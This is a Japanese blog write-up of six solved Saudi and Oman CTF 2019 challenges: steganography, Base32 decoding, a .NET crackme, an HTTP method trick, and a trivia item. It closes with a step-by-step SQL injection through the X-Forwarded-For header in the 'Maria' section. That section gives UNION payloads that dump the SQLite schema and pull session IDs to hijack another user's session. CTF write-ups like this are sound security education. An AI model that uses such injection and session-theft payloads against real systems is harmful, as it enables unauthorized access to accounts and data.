Saudi and Oman National Cyber Security CTF 2019に参加したおはなし
はじめに
久々にオンラインCTFに参加したので備忘録として解けた問題のみ, writeupをのこします. その他のwriteupは以下にまとまっていると思うので,気になる方はそちらもご覧ください.
目次
- はじめに
- 目次
- Back to basics (easy,50,Web Security)
- Hack a nice day (medium,100,Digital Forensics)
- I love images (easy,50,Digital Forensics)
- I love this guy (medium,100,Malware Reverse Engineering)
- Just Another Conference (easy,50,General Information)
- Maria (hard,200,Web Security)
- おわりに
Back to basics (easy,50,Web Security)
Points
not pretty much many options. No need to open a link from a browser, there is always a different way
Link
解法
普通にブラウザでアクセスすると,https://www.google.com/
にリダイレクトされてしまう.
問題文どおりcURLでアクセスしてみると,
$ curl http://35.197.254.240/backtobasics/ <script> document.location = "http://www.google.com"; </script>
案の定,document.location
でGoogleにリダイレクトしていることがわかる.
下記コマンドでヘッダを確認すると,
$ curl --head http://35.197.254.240/backtobasics/ HTTP/1.1 200 OK Server: nginx/1.10.3 (Ubuntu) Date: Fri, 08 Feb 2019 17:30:27 GMT Content-Type: text/html; charset=UTF-8 Connection: keep-alive Allow: GET, POST, HEAD,OPTIONS
Allow:
にGET以外のメソッドがあることを発見.
そこで,POSTメソッドでアクセスしてみると,
$ curl -X POST http://35.197.254.240/backtobasics/ <!-- var _0x7f88=["","join","reverse","split","log","ceab068d9522dc567177de8009f323b2"];function reverse(_0xa6e5x2){flag= _0xa6e5x2[_0x7f88[3]](_0x7f88[0])[_0x7f88[2]]()[_0x7f88[1]](_0x7f88[0])}console[_0x7f88[4]]= reverse;console[_0x7f88[4]](_0x7f88[5]) -->
という,ちょっと難読化されたJavaScriptが返ってくる. 少し見やすく,変数名も整えてみると,
var items=["","join","reverse","split","log","ceab068d9522dc567177de8009f323b2"]; function reverse(rev_arg){ flag= rev_arg[items[3]](items[0])[items[2]]()[items[1]](items[0]) } console[items[4]]= reverse; console[items[4]](items[5])
となる. これを適当なブラウザの開発者ツール(F12かCommand+option+i)でコンソールを開いてコピペすると,flagが得られる.
ちなみに,処理内容としては,単純にitemsの5番目の文字列を逆順に変換しているだけなので,Pythonで
>>> "ceab068d9522dc567177de8009f323b2"[::-1] '2b323f9008ed771765cd2259d860baec'
とするだけでもflagが得られる.
Flag
2b323f9008ed771765cd2259d860baec
Hack a nice day (medium,100,Digital Forensics)
Points
can you get the flag out to hack a nice day. Note: Flag format flag{XXXXXXX}
Link
https://s3-eu-west-1.amazonaws.com/hubchallenges/Forensics/info.jpg
解法
このようなJPGファイルが与えられる. 下記のようにfileコマンドで確認しても,ただのJPG.
$ file info.jpg info.jpg: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, comment: "badisbad", baseline, precision 8, 194x259, frames 3
つぎにexiftoolで見てみると,なにやらComment
が付与されている.
$ exiftool info.jpg ExifTool Version Number : 10.32 File Name : info.jpg Directory : . File Size : 5.5 kB File Modification Date/Time : 2019:02:08 15:58:56+09:00 File Access Date/Time : 2019:02:09 18:20:15+09:00 File Inode Change Date/Time : 2019:02:08 15:58:56+09:00 File Permissions : rw-r--r-- File Type : JPEG File Type Extension : jpg MIME Type : image/jpeg JFIF Version : 1.01 Resolution Unit : None X Resolution : 1 Y Resolution : 1 Comment : badisbad Image Width : 194 Image Height : 259 Encoding Process : Baseline DCT, Huffman coding Bits Per Sample : 8 Color Components : 3 Y Cb Cr Sub Sampling : YCbCr4:2:0 (2 2) Image Size : 194x259 Megapixels : 0.050
これがflagか?と思ったが,違った.
ここからLSBビットやら赤色ビット抽出やら,いろいろ試すもののうまくいかず.
最終的にjpgだしなんか変なコメントあるし,steghide使えばなんかわかるのでは?ということで,調査.
はい出ました.
passphraseにbadisbad
を入力するとflaggg.txt
が埋め込まれていることが確認できた.
$ steghide info info.jpg "info.jpg": format: jpeg capacity: 300.0 Byte Try to get information about embedded data ? (y/n) y Enter passphrase: embedded file "flaggg.txt": size: 21.0 Byte encrypted: rijndael-128, cbc compressed: yes
というわけで,こいつを下記のように抽出する.
$ steghide --extract -sf info.jpg -p badisbad -xf flaggg.txt wrote extracted data to "flaggg.txt".
$ cat flaggg.txt flag{Stegn0_1s_n!ce}
steghideは経験則ゲーすぎる...?(問題的にどうsteghideに持って行こうとしていたんだろう...)
Flag
flag{Stegn0_1s_n!ce}
I love images (easy,50,Digital Forensics)
Points
A hacker left us something that allows us to track him in this image, can you find it?
Link
https://s3-eu-west-1.amazonaws.com/hubchallenges/Forensics/godot.png
解法
このようなPNGファイルが与えられる. 下記のようにfileコマンドで確認しても,ただのPNG.
$ file godot.png godot.png: PNG image data, 64 x 64, 8-bit/color RGBA, non-interlaced
つぎにexiftoolで見てみると,下から3行目でWarning
が出ている.
$ exiftool godot.png ExifTool Version Number : 10.32 File Name : godot.png Directory : . File Size : 3.5 kB File Modification Date/Time : 2019:02:08 16:11:18+09:00 File Access Date/Time : 2019:02:09 03:00:56+09:00 File Inode Change Date/Time : 2019:02:08 16:11:23+09:00 File Permissions : rw-r--r-- File Type : PNG File Type Extension : png MIME Type : image/png Image Width : 64 Image Height : 64 Bit Depth : 8 Color Type : RGB with Alpha Compression : Deflate/Inflate Filter : Adaptive Interlace : Noninterlaced Warning : [minor] Trailer data after PNG IEND chunk Image Size : 64x64 Megapixels : 0.004
PNGのIENDチャンク以降になんかデータがくっついてるよ,とのこと. stringsコマンドで確認してみると,確かになんかくっついてる.
$ strings godot.png ... pDuF( op+P q}'ZA0 O-T& IEND IZGECR33JZXXIX2PNZWHSX2CMFZWKNRUPU======
なんか=いっぱいついてるし,Base64の亜種かな?ということで,CyberChefを使って,Base32でデコードしたらflagが得られた.
Flag
FLAG{Not_Only_Base64}
I love this guy (medium,100,Malware Reverse Engineering)
Points
Can you find the password to obtain the flag?
Link
https://s3-eu-west-1.amazonaws.com/hubchallenges/Reverse/ScrambledEgg.exe
解法
ScrambledEgg.exeという実行ファイルが渡される.
$ file ScrambledEgg.exe ScrambledEgg.exe: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Mono/.Net assembly
ということなので,ILSpyを使ってデコンパイルしてみる.
すると,下記のようなプロラグムをみることができる.
流れは全部読んでいないけど,なんかLetters[なんちゃら]
をたくさん繰り返しているところが怪しいので,そこをコピペして,次のようなPythonスクリプトを動かしてみる.
if __name__ == '__main__': Letters = "ABCDEFGHIJKLMNOPQRSTUVWXYZ{}_" flag = "".join([ Letters[5], Letters[11], Letters[0], Letters[6], Letters[26], Letters[8], Letters[28], Letters[11], Letters[14], Letters[21], Letters[4], Letters[28], Letters[5], Letters[14], Letters[13], Letters[25], Letters[24], Letters[27] ]) print(flag)
$ python solve.py FLAG{I_LOVE_FONZY}
Flag
FLAG{I_LOVE_FONZY}
Just Another Conference (easy,50,General Information)
Points
famous Cybersecurity conference runs by OWASP in different locations
解法
OWASPによっていろんなところで開かれる有名なサイバーセキュリティのカンファレンスということで,OWASP conference
でググると一発で出てくる.
Flag
AppSec
Maria (hard,200,Web Security)
Points
Maria is the only person who can view the flag
Link
解法
Maria
というユーザだけflagを閲覧できるらしい.
とりあえず,アクセスしてみるとこんな画面が表示される.
レスポンスを見てみると,13行目にSQLっぽいもの(SELECT * FROM nxf8_sessions where ip_address = 'XXX.XXX.XXX.XXX'
)を発見(XXX.XXX.XXX.XXXには筆者宅のIPアドレスが記載されている).
HTTP/1.1 200 OK Server: nginx/1.10.3 (Ubuntu) Date: Fri, 08 Feb 2019 18:30:45 GMT Content-Type: text/html; charset=UTF-8 Connection: close Set-Cookie: PHPSESSID=6fr151tpi624c0bcqh5ktvmao6; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Set-Cookie: PHPSESSID=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0 Content-Length: 2141 SELECT * FROM nxf8_sessions where ip_address = 'XXX.XXX.XXX.XXX'<!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> ...
たぶんXXX.XXX.XXX.XXX
(自宅のIPアドレス)のところを操作してSQLインジェクションするんだろうなあという目星をつける.
IPアドレスの部分を偽装したいなあと考えた時に,どういう風にIPアドレスを受け取るかを調べたところ,X-Forwarded-For
というヘッダの値で受け取れるらしい.
ということで,これからX-Forwarded-For
ヘッダの値を変えてリクエストしまくるので,BurpSuiteでリクエストをRepeaterで何度も送れるようにする.
※リクエストを右クリックして,画像の通りSend to Repeater
をクリックすれば,上にあるRepeaterタブがオレンジ色に光るのでRepeaterタブをクリックする.
※↓Repeaterタブ↓※
Repeaterタブが開けたら,とりあえずRequest画面にX-Forwarded-For: 8.8.8.8
を追加して,GoボタンをクリックしてResponse画面をみると,ちゃんと偽装できていることがわかる.
※8.8.8.8
のあと(リクエストの最終行)に2行分の改行が入っていないと,うまくリクエストを投げられないので,リクエストがなかなか返ってこないときはちゃんと2行分の改行が入っているかを確認する.
ここで,この問題の最終目標は何かを考えてみると,問題文からして,Maria
というユーザになりすまして,なんとかflagを閲覧すること,なのでひとまずデータベースからMaria
というユーザの情報を探し出すことを目標とする.
現在わかっていることとしては,SELECT * FROM nxf8_sessions where ip_address = 'XXX.XXX.XXX.XXX'
というSQLから,nxf8_sessions
テーブルにip_address
というカラムがあること,である.
とりあえず,nxf8_sessions
テーブルの情報を探していくために,SELECT *
でいくつのカラムを参照しているのかを,UNION句で探していく.
手始めに,union 1;--
としてみると,下記のように左のSELECT文とカラムの数が違うよ!というエラーが返される.
リクエスト: X-Forwarded-For: ' union select 1;-- 実行されたSQL: SELECT * FROM nxf8_sessions where ip_address = '' union select 1;--' エラー出力: Error : HY000 1 SELECTs to the left and right of UNION do not have the same number of result columns
ということで,エラーが出なくなるまで,1を付け足していくと,4つめでエラーが出なくなったので,nxf8_sessionsテーブルは,4つのカラムを持つということがわかった.
リクエスト: X-Forwarded-For: ' union select 1,1,1,1;-- 実行されたSQL: SELECT * FROM nxf8_sessions where ip_address = '' union select 1,1,1,1;--'
ここで偶然にもPHPSESSID=
の値にUNION句の最後のカラムの値がセットされることに気づいた(さっきまでdeleted
だったのが,UNION句によって1
になっていた).
例えば,下記のようなリクエストを送ると,下記のような値が返ってくる.
リクエスト: X-Forwarded-For: ' union select 1,1,1,"test";-- 実行されたSQL: SELECT * FROM nxf8_sessions where ip_address = '' union select 1,1,1,"test";--' PHPSESSID値: Set-Cookie: PHPSESSID=test; expires=Fri, 08-Feb-2019 20:08:55 GMT;
このことを利用して,UNION句のSELECT文で指定する4つめのカラムに欲しい情報を流し込むようにしていく. とりあえず,nxf8_sessionsテーブルが4つのカラムを持っていることと,任意の値を出力できること,が確認できた. また,エラー文からして今回の問題では,SQLiteを使っているようなので,sqlite_masterテーブルにテーブル情報などが格納されていることから,次のようなSQL文でnxf8_sessionテーブルの情報を一気に抜き出す.
リクエスト: X-Forwarded-For: ' union select 1,1,1,sql from sqlite_master where tbl_name='nxf8_sessions';-- 実行されたSQL: SELECT * FROM nxf8_sessions where ip_address = '' union select 1,1,1,sql from sqlite_master where tbl_name='nxf8_sessions';--' PHPSESSID値: PHPSESSID=CREATE+TABLE+%22nxf8_sessions%22+%28%0A++++++++++++%22id%22+int%2810%29+NOT+NULL%2C%0A++++++++++++%22user_id%22+varchar%28255%29++NOT+NULL%2C%0A++++++++++++%22ip_address%22+varchar%28255%29+NOT+NULL%2C%0A++++++++++++%22session_id%22+varchar%28255%29++NOT+NULL%0A++++++++%29; expires=Fri, 08-Feb-2019 20:12:18 GMT; Max-Age=3600
URLエンコーディングされた結果をデコードすると下記の通りとなる.
このことから,ntf8_sessionsテーブルには,id,user_id,ip_address,session_idの4つのカラムが存在していることがわかった.
このことを先ほどわかったことと併せると,4つめのsession_idがそのまま,PHPSESSID=
の値に代入されていると予測できる.
CREATE TABLE "nxf8_sessions" ( "id" int(10) NOT NULL, "user_id" varchar(255) NOT NULL, "ip_address" varchar(255) NOT NULL, "session_id" varchar(255) NOT NULL )
ntf8_sessionsテーブルのカラムがわかったので,最後に次のようなSQL文のwhere id =
の部分を変えて有効なsession_idを探していく.
はじめに0を入れてみると,PHPSESSID値はdeleted
となっており,有効でない.
リクエスト: X-Forwarded-For: ' union select 1,1,1,session_id from nxf8_sessions where id = 0;-- 実行されたSQL: SELECT * FROM nxf8_sessions where ip_address = '' union select 1,1,1,session_id from nxf8_sessions where id = 0;--' PHPSESSID値: Set-Cookie: PHPSESSID=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0
値を変えていくと,id = 1
,2
,3
のとき,それぞれ有効なPHPSESSIDが返ってきた.
そのうち,id = 2
で返ってきたfd2030b53fc9a4f01e6dbe551db7ded390461968
をCookieにセットしたところ,flagが得られた.
Flag
aj9dhAdf4
おわりに
まったり解けたので楽しかった. 点数配分が微妙で, 200点より100点の方が難しかった. Saudi CTFとOman CTFもOnlineで出れるなら出たい.